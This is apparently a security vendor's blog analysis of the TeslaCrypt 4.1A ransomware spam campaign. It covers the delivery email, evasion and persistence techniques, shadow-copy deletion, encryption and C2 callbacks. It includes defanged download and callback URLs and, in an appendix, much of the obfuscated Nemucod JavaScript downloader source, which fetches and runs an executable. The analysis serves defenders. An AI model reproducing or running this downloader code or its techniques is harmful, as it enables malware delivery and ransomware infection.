How to

Your package has been successfully encrypted: TeslaCrypt 4.1A and the malware attack chain

Editor’s Note: Elastic joined forces with Endgame in October 2019, and has migrated some of the Endgame blog content to See Elastic Security to learn more about our integrated security solutions.

Ransomware quickly gained national headlines in February after the Hollywood Presbyterian Medical Center in Los Angeles paid $17,000 in bitcoins to regain access to its systems.  Since then, other hospitals have similarly been attacked with ransomware, leading some industry experts to proclaim it an industry-specific crisis. Although it is commonly associated with directed campaigns aimed at high-value targets such as hospitals, ransomware is actually becoming less targeted and more omnidirectional. As our latest research on TeslaCrypt demonstrates, ransomware not only is becoming more widespread, but it is also becoming more sophisticated and adaptable. TeslaCrypt 4.1A  is only a week old and contains an even greater variety of stealth and obfuscation techniques than its previous variants, the earliest of which is just over a year old. Organizations and individuals alike must be aware ransomware is equally likely to be found in personal networks as in critical infrastructure networks, and that its rapid transformation and growing sophistication presents significant challenges to the security community and significant threats to users of all kinds.


History and Current Reality of Ransomware

Ransomware has been around for at least a decade, but its evolution and frequency have exploded over the last half year. In its early days, ransomware was relatively unsophisticated, uncommon, and more targeted. However, ransomware now largely involves code reuse, slight modifications to older families, and a variety of spam campaigns. Capabilities that once were the discrete realm of APTs are now accessible to attackers with fewer resources. TeslaCrypt 4.1A is indicative of this larger trend, integrating a variety of obfuscation techniques – such as AV evasion, anti-debugging, and stealth – into a powerful and rapidly changing piece of malware. Moreover, the incentive structure has shifted. Ransomware aimed at high-value targets depends entirely on getting one fish to bite, and so the ransom value is much higher. As the graphic below illustrates, with the proliferation of ransomware via widespread spam campaigns, attackers can demand smaller sums of money, which can still be extremely lucrative because it only requires infiltration of a small percentage of targets.


Campaign Overview

Last week, an Endgame researcher was analyzing spam emails for indications of emergent malicious activity.  The researcher came upon an interesting set of emails, which were soon determined to be part of a widespread spam campaign. The emails all highlighted the successful delivery of a package, which can be tracked by simply clicking on a link. This is especially interesting timing.  At the peak of procrastinators filing their taxes at the last minute, those who send in their tax forms are exactly the technically less-sophisticated users these kinds of campaigns target.  

We rapidly determined that this spam campaign was attempting to broadly deliver TeslaCrypt 4.1A to individuals.  In the subsequent sections, we’ll detail the various stages of the TeslaCrypt 4.1A attack chain, moving from infiltration to detection evasion, anti-analysis and evasion features, entrenchment, and the malicious mission, concluding with some points on the user experience. This integration of various obfuscation and deception techniques is indicative of the larger trend in ransomware toward more sophisticated and multi-faceted capabilities.


  1.  During infiltration, the downloader mechanism is attached as a zipped JavaScript file.
  2. This JavaScript file is a downloader that uses the local environment's Windows Script Host (WSH) or wscript to download the payload. When the ZIP file is decompressed and the JavaScript file is executed, the WSH will be invoked to execute the code.
  3. The downloader proceeds to download the TeslaCrypt implant via a HTTP GET request to greetingsyoungqq[.]com/80.exe. This binary will then be launched by the downloader.
  4. To evade debuggers, the binary uses QueryPerformance/GetTickCount evasion technique to check the runtime performance as well as threading.
  5. Next, the binary allocates heap memory to allocate a PE in memory. This PE does the following:
    1. It establishes an inter-process communication channel with the CoInitialize(), CoCreateInstance()                  APIs to communicate through DirectShow in order to establish various strings in memory.
    2. Uses QueryPerformance/GetTickCount debugging evasion technique
    3. Uses Wow64DisableWow64FsRedirection to disable file system redirection for the calling thread.
    4. Deletes Zone.Identifier ADS after successful execution
    5. Checks token membership for System Authority
  6. Next, the PE drops a copy of itself to the %UserProfile%\Documents\[12 random a-z characters].exe, creates a child process, and adds SeDebugPrivilege to the newly spawned process while in a separate thread
  7. Deletes parent binary using  %COMSPEC% /C DEL %S
  8. Creates mutex "__wretw_w4523_345" for more threading activity and runs a shell command to delete volume shadow copies
  9. It entrenches the binary into the registry via a startup run key
  10. During the encrypting, it generates the public key based on the encrypted private key.
  11. The implant begins encrypting all accessible files on the file system based on the file extensions in the appendix.
  12. Finally, it displays the ransom note in three forms: text, image, and web page. The binary will then notify the C2 server of the presence of a new victim.

Delivery and the Downloader

In this instance, TeslaCrypt is delivered using a zipped email attachment containing a JavaScript downloader:

Email Spam Attack


Email contents

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "<a href=""></a>"> 
<html xmlns="<a href=""></a>"> 
<pre style="font-style: strong"> 
Your package has been successfully delivered. The proof of delivery (TRK:299736593) is enclosed down below. 


The ZIP attachment will contain one file: transaction_wcVSdU.js. When the ZIP is decompressed and the JavaScript file is executed by the user, the Windows Script Host will launch and execute the JavaScript.  The downloader initiates a HTTP GET request to the following URI in order to download the TeslaCrypt payload (6bfa1c01c3af6206a189b975178965fe):


As of 4-14-2016, this URI is inactive.

If the request is successful, the binary will be written to disk in the current user's %TEMP% directory and launched by the JavaScript.

The payload (80.exe) was not being flagged by most popular AV products on the day that we detected the malware, likely due to the obfuscation employed.  A few days later, about 40% of AV vendors had updated their signatures to catch 80.exe, and a week later, a significant majority of AV vendors will flag this file as malicious.  However, this wouldn’t help users who were victimized on the first day.

TeslaCrypt 4.1A Implant Variant Details

Version information contained within its metadata helps the implant masquerade itself as an official Windows system DLL:


Upon execution, the implant unpacks itself by allocating and writing a clean PE file to heap memory. The clean PE that is invoked contains the implant’s intended malicious functionality.

Anti-Analysis and Evasion Features

This malware exhibits some interesting anti-analysis and evasion features which speak to its sophistication level.  We will describe some of these below.

String Obfuscation

In order to evade detection and hide many of its string extractions, the binary utilizes an inter-process communications channel (COM objects). By using the CoInitialize and CoCreateInstance Windows APIs, the implant can control DirectShow via Software\Microsoft\DirectShow\PushClock using a covert channel, utilizing the quartz libraries.



TeslaCrypt calls its anti-debugging function many times to thwart automated debugging or API monitoring. By using the QueryPerformance / GetTickCount evasion technique, the process stores the timer count at the beginning of an operation and then records it at the end of the operation. If the malware is being debugged, this time difference will be much more than the normal execution time expected.



This TeslaCrypt variant contains a routine designed to terminate five standard Windows administrative / process monitoring applications. The binary enumerates all active processes and utilizes GetProcessImageFileName to retrieve the executable filename for each process. A process will be terminated if its filename contains any of the following strings:

  • taskmgr (Task Manager)
  • regedi (Registry Editor)
  • procex (SysInternals Process Explorer)
  • msconfi (System Configuration)
  • cmd (Command Shell)



The implant drops a copy of itself to disk:

%UserProfile%\Documents\[12 random a-z characters].exe

In order to establish persistence, the implant adds a registry value that points to the dropped copy:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\%s\ SYSTEM32\CMD.EXE /C START %USERPROFILE%\Documents\[12 random a-z characters].exe


The malware also sets the EnableLinkedConnections registry key:


By setting this key (which was also something done by previous versions of TeslaCrypt), network drives become available to both regular users and administrators.  This will allow the implant to easily access and encrypt files on connected network shares in addition to encrypting files on the local hard drive. In a connected business environment, this could substantially increase the damage done by the tool.

Malicious Mission

TeslaCrypt relies mostly on scare tactics to corner victims into paying the ransom. In reality, it’s making false claims about its encryption usage and has recovery mechanisms that can help users recover files.


Even though the malware's ransom message claims that the encryption used is RSA-4096, this algorithm is not used in any way. Instead, files are encrypted with AES256 CBC. In the encryption function it first generates the various keys which uses standard elliptic curve secp256k1 libraries which is typical for bitcoin related authors. An example of these keys can be seen in memory in the hex view below detailing memory status during master key generation. Once the keys are generated, they are then saved in %USERPROFILE%\Documents\desctop._ini and %USERPROFILE%\Documents\-!recover!-!file!-.txt. If the malware detects that a file named "desctop._ini" already exists at the specified path, it will not start the key pair generation or encrypt any files because it already assumes that the files have already been encrypted.


secp256k1 functions used for master key generation:


Generated Keys


Memory during the Master key generation:






Callback Routine

If the binary successfully encrypts the targeted files on the host, it spins off a thread and initiates a callback routine that attempts HTTP POST requests to six different URIs:


The requests are formatted as such:

POST <a href="about:blank">http://loseweightwithmysite[.]com/sys_info.php</a> 
UserAgent: Mozilla/5.0 (Windows NT 6.3 rv:11.0) like Gecko 
Content-Type: application/x-www-form-urlencoded 

The "data" POST variable is used to transmit data that is used by the threat actor to track their victims. This data includes host configuration information, version information pertaining to the implant, a randomly generated bitcoin address (where the affected user is instructed to direct their ransom payment), and key data needed to initiate a recovery of the encrypted files. This information is placed in a query string format and will be subsequently encrypted and encoded prior to transmission in the POST request:

Sub=[Ping: hardcoded callback mode]&dh=[combination of public and private key data]&addr=[bitcoin address generated at runtime]&size=0&version=[4.1a: hardcoded TeslaCrypt version number]&OS=[OS build number derived from VersionInformation.dwBuildNumber]&ID=[821: appears to be a hardcoded value possibly used to further identify a particular variant]&inst_id=[user ID generated at runtime] 

Provided below is a string with sample data:


The query string will then be AES encrypted:


An ASCII representation of the binary output of the AES encryption will then be written to memory:


This data will then be attached to the "data" POST variable and transmitted in the request.

If the implant successfully issues a POST request and receives a valid response from the callback server, the thread will terminate. The thread will also terminate if it does not receive a valid response after attempting one request to each of the callback servers.

Aside from the "Ping" mode (designated in the Sub query string variable), the binary also references a separate "Crypted" callback mode, though this mode does not appear to be accessible in this particular variant.

User Experience

The ransom information is displayed using 3 methods:

  • HTML page
  • text file
  • PNG image

These files will also be written to disk in nearly every directory on the file system.  The links for a real victim’s will reference the victim’s unique ID which facilitates payment tracking and decryption should the ransom be paid.


HTML (-!RecOveR!-xdyxv++.Htm)


TXT (-!RecOveR!-xdyxv++.Txt)


PNG (-!RecOveR!-xdyxv++.Png)


TeslaCrypt 4.1A is indicative of the broader trend we’re seeing in ransomware. While the targeted, high-value targets dominate the press, ransomware is increasingly opportunistic as opposed to targeted. These randomized spam campaigns rely on infiltrating a very small percentage of targets, but are still extremely lucrative given their widespread dispersion. In addition, the shortened time-frame between variants also reflects the trends in ransomware over the last 6-12 months. The speed to update between variants is shrinking, while the sophistication is increasing. This makes reverse engineering the malware more onerous, including the use of deception techniques such as misleading researchers that RSA-4096 encryption is used when in reality it was AES-256. In short, not only does the spam campaign attempt to deceive potential targets, but TeslaCrypt 4.1A also aims to mislead and stay ahead of researchers attempting to reverse engineer it. Only four months into 2016, as our timeline demonstrates, this may very well be the year of the ransomware attack. These kinds of opportunistic attacks can be very lucrative and sophisticated, and should increasingly be on the radar of both high-value organizations as well as individuals.


Email Header (Email originally forwarded from [redacted].org
Delivered-To: [redacted] 
Received: by [redacted] with SMTP id t129csp1570097vkf; 
       Mon, 11 Apr 2016 10:49:37 -0700 (PDT) 
X-Received: by [redacted] with SMTP id g19mr11538193ote.175.1460396977496; 
       Mon, 11 Apr 2016 10:49:37 -0700 (PDT) 
Return-Path: <> 
Received: from ( ) 
       by with ESMTPS id 9si7641149ott.222.2016. 
       for <[redacted]> 
       (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); 
       Mon, 11 Apr 2016 10:49:37 -0700 (PDT) 
Received-SPF: softfail ( domain of transitioning does not designate [redacted] as permitted sender) client-ip=[redacted]; 
      spf=softfail ( domain of transitioning does not designate [redacted] as permitted sender) 
Received: by with SMTP id y204so196057727oie.3 
       for <[redacted]>; Mon, 11 Apr 2016 10:49:37 -0700 (PDT) 
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;; s=20130820; 
X-Original-Authentication-Results:;       spf=softfail ( domain of transitioning does not designate [redacted] as permitted sender) 
X-Gm-Message-State: AOPr4FUtA2HQqGRu+GdZuu8wADNknK4b73v+HF33ILQuYoMSQUrg45myopzxVcSix38piF2Nek5YQwvPOL2fGuTPayrRew== 
X-Received: by [redacted] with SMTP id 10mr7798207otm.47.1460396976918; 
       Mon, 11 Apr 2016 10:49:36 -0700 (PDT) 
Return-Path: <> 
Received: from () 
       by with ESMTP id y20si1822157pfa.2.2016. 
       for <[redacted]>; 
       Mon, 11 Apr 2016 10:49:36 -0700 (PDT) 
Received-SPF: softfail ( domain of transitioning does not designate [redacted] as permitted sender) client-ip=[redacted]; 
Message-ID: <[redacted]@[redacted].org> 
From: =?UTF-8?B?UmFuZHkgSGFsbGltb25k?= <> 
To: =?UTF-8?B?a2ZkaG5l?= <[redacted]@[redacted].org> 
Subject: =?UTF-8?B?UkU6?= 
Date: Mon, 11 Apr 2016 12:49:34 -0500 
Reply-To: =?UTF-8?B?a2ZkaG5l?= <[redacted]@[redacted].org> 
MIME-Version: 1.0 
JavaScript downloader (Nemucod) 0eec3406dfb374a7df4c2bb856db1625 Contents:
var fuXYgBL="WS"; 
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!"".replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return"\\w+"};c=1};while(c--){if(k[c]){p=p.replace(new RegExp("\\b"+e(c)+"\\b","g"),k[c])}}return p}("0 1=2;",3,3,("var|XqTfkKcqqex|"+fuXYgBL+"cript").split("|"),0,{})) 
function zrISJA(jjcxUlc) { 
return "hrsaSzYzlaFzEc"; 
function NZwY(FmoOw,RNqcI) { 
var FiPpmI=["ohRoOlCB","\x77"+"\x72\x69","\x74\x65"];FmoOw[FiPpmI[1]+FiPpmI[2]](RNqcI) 
function jEiG(EJmRb) { 
var fVxQNBM=["\x6F\x70"+"\x65\x6E"];EJmRb[fVxQNBM[421-421]](); 
function wYGJ(HhQGZ,cpllk,bDxjN) { 
function yrlc(ikMyP) { 
if (ikMyP == 1077-877){return true;} else {return false;} 
function Sgix(UFQtP) { 
if (UFQtP > 155282-909){return true;} else {return false;} 
function tMlUn(cpqParen,kwDT) { 
return ""; 
function UAUJ(jNuMk) { 
var nLaSHyDA=["\x73\x65"+"\x6E\x64"]; 
function uOFx(JEEUB) { 
return JEEUB.status; 
function eBRRZTo(higo,fYcgC) { 
return ozMRhEh[0]; 
function iIeFEEW(eArZ) { 
var buDOHaq=("\x72\x65\x73\x70\x6F\x6E*\x73\x65\x42\x6F\x64\x79").split("*"); 
return eArZ[buDOHaq[0]+buDOHaq[1]]; 
function Ybru(IUgdY,FzFmU) { 
var usIIR=("\x54\x6F\x46*\x69\x6C\x65*\x73\x61*\x76\x65").split("*"); 
var gqfLYpEf=usIIR[344-344]; 
var FAebRf=usIIR[987-985]+usIIR[309-306]+gqfLYpEf+usIIR[522-521]; 
var jnEpuJY=[FAebRf];IUgdY[jnEpuJY[788-788]](FzFmU,609-607); 
function LZZFymKZ(IfJ) { 
return IfJ.size; 
function NpkPo(KefYQK) { 
var WEgJ=["\x70\x6F\x73\x69\x74\x69\x6F\x6E"]; 
return KefYQK[WEgJ[904-904]]=114-114; 
function MnruB(qpl,HKtRA) { 
var nweM=["\x73\x70\x6C\x69\x74"]; 
return qpl[nweM[0]](HKtRA); 
function FZyc(WHpHj) { 
return eTtPIgs; 
function HrwpH(bNbUPp) { 
var nviK=bNbUPp; 
return new ActiveXObject(nviK); 
function OixB(ocfZi) { 
var DYsBj=""; 
do { 
if (T >= ocfZi.length) {break;} 
if (T % (686-684) != (803-803)) { 
var WyZLN = ocfZi.substring(T, T+(620-619)); 
DYsBj += WyZLN; 
} while(true); 
return DYsBj; 
var dx="N?B f?z k?V pgWrmeYeAtJiInNgSsbyQojuVnZgNqvqs.7c1oGmb/18s05GQdMXYDc?r EgAoyo4gUlee1.Ycgommq/b8l0XGPdqXkDk?3 S?"; 
var HC = OixB(dx).split(" "); 
var uzOjdW = ". BrlWfZ e LgzYusBg xe GdXD".split(" "); 
var t = [HC[0].replace(new RegExp(uzOjdW[5],'g'), uzOjdW[0]+uzOjdW[2]+uzOjdW[4]),HC[1].replace(new RegExp(uzOjdW[5],'g'), uzOjdW[0]+uzOjdW[2]+uzOjdW[4]),HC[2].replace(new RegExp(uzOjdW[5],'g'), uzOjdW[0]+uzOjdW[2]+uzOjdW[4]),HC[3].replace(new RegExp(uzOjdW[5],'g'), uzOjdW[0]+uzOjdW[2]+uzOjdW[4]),HC[4].replace(new RegExp(uzOjdW[5],'g'), uzOjdW[0]+uzOjdW[2]+uzOjdW[4])]; 
var vvT = wYUkzixLb("hytd"); 
var iWO = HrwpH(OXbXCAjC("LVLuz")); 
var ZeDUTR = ("CWszPMX \\").split(" "); 
var Klbb = vvT+ZeDUTR[0]+ZeDUTR[1]; 
var xSD = ("2.XMLHTTP BeScUOk kmeQd XML ream St ZFRDIeEL AD aLEesOX O nFcW D").split(" "); 
var ZL = true  , JYcj = xSD[7] + xSD[9] + xSD[11]; 
var uo = FZyc("MS"+xSD[3]+(65368, xSD[0])); 
var Qie = FZyc(JYcj + "B." + xSD[5]+(877821, xSD[4])); 
var bfO = 0; 
var Z = 1; 
var LaxMJRW = 570182; 
var n=bfO; 
while (true)  { 
if(n>=t.length) {break;} 
var sp = 0; 
var Ijm = ("ht" + " VMOmvKy tp zoysd bcAmbjuL :/"+"/ mxykXfd .e EfmSc x nWCKLh e G nWQWoZV E BulesSto T TRoA").split(" "); 
try  { 
var LReHyZt=Ijm[134-129]; 
var xGARQ=Ijm[801-801]+Ijm[473-471]+LReHyZt; 
wYGJ(uo,xGARQ+t[n]+Z, Ijm[12]+Ijm[14]+Ijm[16]); UAUJ(uo); 
if (yrlc(uOFx(uo)))  {      
jEiG(Qie); Qie.type = 1; NZwY(Qie,iIeFEEW(uo)); if (Sgix(LZZFymKZ(Qie)))  { 
sp = 545-544;NpkPo(Qie);Ybru(Qie,AQVoAgj); 
if (293>50) { 
try  {pGMyLfHuk(Klbb+LaxMJRW+Ijm[682-675]+Ijm[590-581]+Ijm[781-770]); 
catch (gl)  { 
}; Qie.close(); 
if (sp == 1)  { 
bfO = n; break; 
catch (gl)  { 
function lSfnmZ(vRNP,BFDQSl) { 
try {vRNP.CreateFolder(BFDQSl);}catch(yMBcZQ){}; 
function pGMyLfHuk(sjrheBIoAMu) { 
var FTcKLVxo = MnruB("sqjR=Ws=SYmMxdi=c=LkNYHr=ri"+"=pt=PAiRubzP=.S=ZWNin=he=QKIpiY=l"+"l=zZtYtCg"+"=YQvYvTrd=VHTU", "="); 
var zfRKdfpc = FZyc(FTcKLVxo[271-270] + FTcKLVxo[136-133] + FTcKLVxo[214-209] + FTcKLVxo[977-971] + FTcKLVxo[641-633] + FTcKLVxo[928-918]+FTcKLVxo[368-356]); 
function/*OAJC*/jxjZabos(TRAYg,GOyvuX) { 
var RtpGce= ("JSaOOwisDoL;\x72;\x75;\x6E;JgVDLJItskks").split(";"); 
var xFr=RtpGce[992-991]+RtpGce[563-561]+RtpGce[696-693]; 
var VeXb=/*vyYh*/[xFr]; 
function wYUkzixLb(rjwBK) { 
var kuglrOp = "njDqTN*KHD*pt.S"+"he"+"ll*PzPJjXp*Sc"+"ri*"; 
var kuMsE = MnruB(kuglrOp+"CLPW*%T"+"E*MP%*\\*yIkarFYNo*nEyAhd*RsGedfF*apQUP", "*"); 
var TbT=((117-116)?"W" + kuMsE[428-424]:"")+kuMsE[110-108]; 
var tn = FZyc(TbT); 
return eBRRZTo(tn,SvDMQR+kuMsE[855-847]); 
function OXbXCAjC(OceU) { 
var ziaeORqzQs = "Sc WGsgmuy r NzOtRcclv ipt"+"ing HjDZRDm uMM ile ybhLPUOzWBGhng"; 
var fzryoIu = MnruB(ziaeORqzQs+" "+"Sys"+"tem Bm hmjQH Obj vQPPEr ect fokQapQ ACJDF", " "); 
return fzryoIu[0] + fzryoIu[2] + fzryoIu[4] + ".F" + fzryoIu[7] + fzryoIu[9] + fzryoIu[12] + fzryoIu[14];